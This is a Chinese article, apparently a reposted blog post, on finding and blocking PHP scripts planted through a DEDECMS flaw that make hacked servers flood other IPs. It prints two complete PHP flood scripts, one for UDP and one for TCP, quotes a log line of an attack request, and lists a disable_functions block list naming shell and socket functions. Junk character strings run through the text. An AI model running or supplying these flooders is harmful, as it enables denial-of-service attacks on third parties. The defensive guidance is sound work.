服务器php对外发包引起崩溃的解决办法paopao最近老听人说,php对外发包,引起服务器崩溃或被机房查封,今天闲着无事和大家一起分享paopao我总结的DEDECMS php对外发包引发服务器崩溃的终极解决方法,希望可以帮助大家解决服务器问题,让网站运行的更好2 @, N) \3 B6 e+ [6 C
一。php对外发包分析
7 b$ s6 X' a u# K 用php代码调用sockets,直接用服务器的网络攻击别的IP,常见代码如下:
6 a2 E, D0 v: ]% u: N 以下是代码片段:3 u4 { H0 |" l- Z, `! t3 p
$packets = 0;0 w& G6 @2 \* B9 k1 r
$ip = $_GET[\'ip\'];. i* c0 X8 ^' O- J1 A
$rand = $_GET[\'port\'];6 y F: K! Z" x7 i( x# ?" F0 |4 d
set_time_limit(0);
\' e0 {% D. e) S! N3 T ignore_user_abort(FALSE);
+ M/ z+ V" ^( W' Z1 K $exec_time = $_GET[\'time\'];sbxl-20120612
/ j- o5 n" m( S! L9 l $time = time();% X5 S6 f8 M8 b5 _8 M
print \'Flooded: $ip on port $rand v- [" l( q9 b9 \( N# j2 p
\';& O4 r( N" N) T7 t% @9 @" V
$max_time = $time+$exec_time;- N2 f f4 E ?" w" h
for($i=0;$i<65535;$i++){
2 L( ]+ h" ?1 _% u! |0 P: R $out .= \'X\';
& Q" f6 }7 q* l$ s/ [5 p& b3 }( l3 i }4 q9 x3 k. t# D) w! r3 o
while(1){
0 d& o, @0 k* f6 K& b! K1 y $packets++;
5 W; [. r8 P7 C2 ]8 t if(time() > $max_time){6 }7 P1 ^3 g' n2 a9 S
break;3 _2 g8 f' q' J& H
}* W* |, E6 H( h! `3 `: d( W; @
$fp = fsockopen(\'udp://$ip\', $rand, $errno, $errstr, 5);6 ^) [' f! O r9 v+ x
if($fp){' [7 m( y7 ]7 |! l q5 { a
fwrite($fp, $out);1 e- n* p9 b6 N" l3 H0 C9 |" R" _! u% n
fclose($fp);' w4 B5 t* Q+ U7 }# @
}1 E5 b0 O1 l& m6 M6 r, Q# @# F
}8 |4 E. V2 b* @' v j
echo \'Packet complete at \'.time(\'h:i:s\').\' with
- d1 g( n; ]& a) t( \- h5 ^ $packets (\' . round(($packets*65)/1024, 2) . \' mB) packets averaging \'.& R+ o e6 @; B L' a
round($packets/$exec_time, 2) . \' packets/s ;
2 x) Z( o0 ?* |' L7 [ ?>
+ H3 L& Z/ e- ?1 Q1 z3 Y 二。表现特征
- [+ u( f) s) t. j% K6 x( F 一打开IIS,服务器的流出带宽就用光-----就是说服务器不断向别人发包,这个情况和受到DDOS攻击是不同的,DDOS是服务器不断收到大量数据包.
+ \1 a3 j# @# H: f& X 近期由于DEDECMS出现漏洞而导致大量服务器出现这个问题.
& q8 X4 D2 V, G; A 如何快速找到这些站?
) }2 S- v, G7 T# _4 z# D 你可以打开日志* t3 d8 Y. n2 h- B2 v# {, N
C:\Windows\System32\LogFiles\HTTPERR\httperr...log,打开今天时间的文件,
; I3 P. E( A# ~2 Z5 \) @' {/ Q4 A' A 里面有类似这样的记录:
! G, _* `+ A% x6 y1 |7 c7 N 2012-04-26 06:37:28 58.255.112.112 26817 98.126.247.13 80 HTTP/1.1 GET /xxxx/xxxxxx.php?host=122.224.32.100&port=445&time=120 503 783 Disabled 30_FreeHost_1% t, k" ~2 N7 e7 {; A
最后三项783 Disabled 30_FreeHost_1
2 F+ x% G" z O: Y0 }$ E 783就是这个站在IIS中的ID
9 l4 H7 Y, M f) P3 o8 m 30_FreeHost_1就是所在池) E! c: F- T" x
三?解决办法- j$ ?' `- h7 a3 u+ ^" k* B- z
1.按上述找到这个网站后停止它.或停止池,并重启IIS.
- A8 ?5 ^8 P4 N5 s( l& E6 e 2.在IP策略,或防火墙中,禁止所有udp向外发送6 x7 H, U) h# s; @# p! T
在星外最新版本的安全包中,已带有4.0版本的IP策略【下载safe包】,您导入后就直接可以限制了外发的UDP包?下载这个包,之后导入安全策略?但这个策略并没有关闭DNS端口,部分攻击还是有效.
% P! ^6 v8 q# E5 {- L+ L 为了解决这个问题,你也可以调整IP策略,限制udp只能访问特定的DNS服务器IP,如8.8.8.8,除非黑客攻击这个IP,不然攻击也是无效的,你可以在网卡DNS中设置一个你才知道的DNS IP,并且不要公开,然后调用IP策略中的udp open部分就可以解决.(打开IP策略的属性,双击open,将open中的两条udp记录删除任意一条,在保留的这条中,双击,改成 地址 从源地址 任何地址 到目标地址'特定IP 这个IP就是设置为你自己的DNS IP,如8.8.8.8' 保存后就行了)
4 D, R+ D# k! o/ s 在2011-4-27,我们上传了新的安全包,里面有一个'星外虚拟主机管理平台IP策略关闭所有UDP端口用.ipsec'文件,您可以导入它并启用,就可以关闭所有udp端口,就可以完全防止这类攻击,但是,这个策略由于关闭了DNS端口,会造成的这台服务器上无法用IE访问任何域名,因此,用户的采集功能也就用不了.(同样,如果在主控网站上用了这个策略,就会造成的受控自检不通过,因为解析不了域名,另外,部分用户反映此策略会造成的mysql不正常)
9 |" E8 D+ y6 [& b 3.用一流信息监控,在SQL拦截及网址拦截中,拦截port=这个关键词(其他关键词可以删除.)% H M7 e3 S' k- [4 Q$ B
4.也可以直接禁止上面的代码,如改win\php.ini后重启IIS* E8 X4 t, i, a/ G0 C
ignore_user_abort = On
8 K# t' y$ x- C% j, D- _ (注意前面的;号要删除)
0 J* r3 p5 `9 r disable_functions =exec,system,passthru,popen,pclose,shell_exec,proc_open,curl_exec,multi_exec,dl,chmod,stream_socket_server,popepassthru,pfsockopen,gzinflate,
( g( W: p% @0 T. R) J5 y( g4 r: w 在后面加上- w& `7 w8 B2 Q( |: |; u) N, Q& Q/ n
fsockopen,set_time_limit& Y/ e4 Q" s! G
但这样会造成很多php程序都不正常.
9 t* m/ K6 K! \9 N& ^. g. P$ I3 X0 w 另外,这也表明你的服务器安全做得不错,如果能入侵.黑客就直接提权了,还DOS做什么?, C# V+ ^$ R4 h' v; M+ f; }' S) r Z2 n
近期已有新的基于TCP攻击的PHPDDOS代码如下:. ~) x4 t# p8 p$ O v# Z' D
以下是代码片段:
: n/ J1 U/ q; s set_time_limit(999999);
4 \# _! a# p0 B# V+ p $host = $_GET['host'];2 R# R0 x* U) P9 E5 {0 ^
$port = $_GET['port'];- v6 c* J1 _* k
$exec_time = $_GET['time'];
& s' R7 w+ m: |) P @3 r! j7 h $packets = 64;
% j& V2 J! S# e, l8 y" V ignore_user_abort(True);
& a) f& K9 R6 a7 G/ g( \( d8 T( j7 q' ~ if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
) g/ T" H% N) ?- v if (StrLen($_GET['rat'])<>0){
% s7 @% q* ^8 h* w3 X echo $_GET['rat'].$_SERVER['HTTP_HOST'].'|'.GetHostByName($_SERVER['SERVER_NAME']).'|'.
: ]# o0 z: R( g* ]$ u php_uname().'|'.$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
1 r3 K2 S, C! b3 X' l; i6 u exit;
5 U6 t0 J8 G# e* e: Y }# U& i' {: d& }# T9 G5 {- x1 `+ Y8 E
exit;, Q- o3 I# G4 a8 \" e4 [+ s% w
}2 G1 Y- J% k8 O
$max_time = time()+$exec_time;
8 O3 r2 J. q7 J9 f( e5 _5 A while(1){
% f7 ^' p$ r" E $packets++;4 I! i% Q4 Q' Y2 H3 l9 Y
if(time() > $max_time or $exec_time != 69){
! w+ {& y% d) ?' M | break;
7 p8 s, d0 ]) w5 K }, i" p* w# D$ b* h! n1 _
$fp = fsockopen('tcp://$host', $port, $errno, $errstr, 0);( W" j" x. S- }9 k: Q$ Y" Q
}
& U4 K: J$ r' v/ ]# y. ~ ?>, [2 s* \4 w2 u2 C9 U- W9 L
同样,可以采有以下解决办法:( R1 B& {- J7 B2 R3 G+ L2 b1 D3 o
1.也可以直接禁止上面的代码,如改win\php.ini后重启IIS1 C# L' k+ R% B, U; b. i O* k
ignore_user_abort = On7 H! @+ b, G! i" U& {' [
(注意前面的;号要删除)
" g0 v6 ]4 M' W" Y# X+ T6 \4 ]1 n disable_functions =exec,system,passthru,popen,pclose,shell_exec,proc_open,curl_exec,multi_exec,dl,chmod,stream_socket_server,popepassthru,pfsockopen,gzinflate,
- S6 @5 s8 z3 f4 U" L/ j8 X 在后面加上- s' W0 |4 Y# N. [: I& k+ ^; v
fsockopen,set_time_limit
6 I, i: A9 J$ O 但这样会造成很多php程序都不正常. 如果您是IDC,给客户提供空间的,禁用函数可能导致客户程序无法运行,所以一般不要用此办法1 t7 r- k) Y, W4 V+ K: N
2.在IP策略中禁止所有外访的TCP数据包,但这样会造成的采集功能无效,也不能用在主控服务器上?+ a5 G% i# k; ^- _& _
3.在服务器要用关键词tcp:或udp:搜索所有php类文件,找到攻击文件,删除它?- V) N6 Z4 m( Y) Q7 b
文章出自医院网站优化 http://www.ahyyqing.com,转载请注明出处。6 P8 l h3 |6 Z( c# P4 ^
|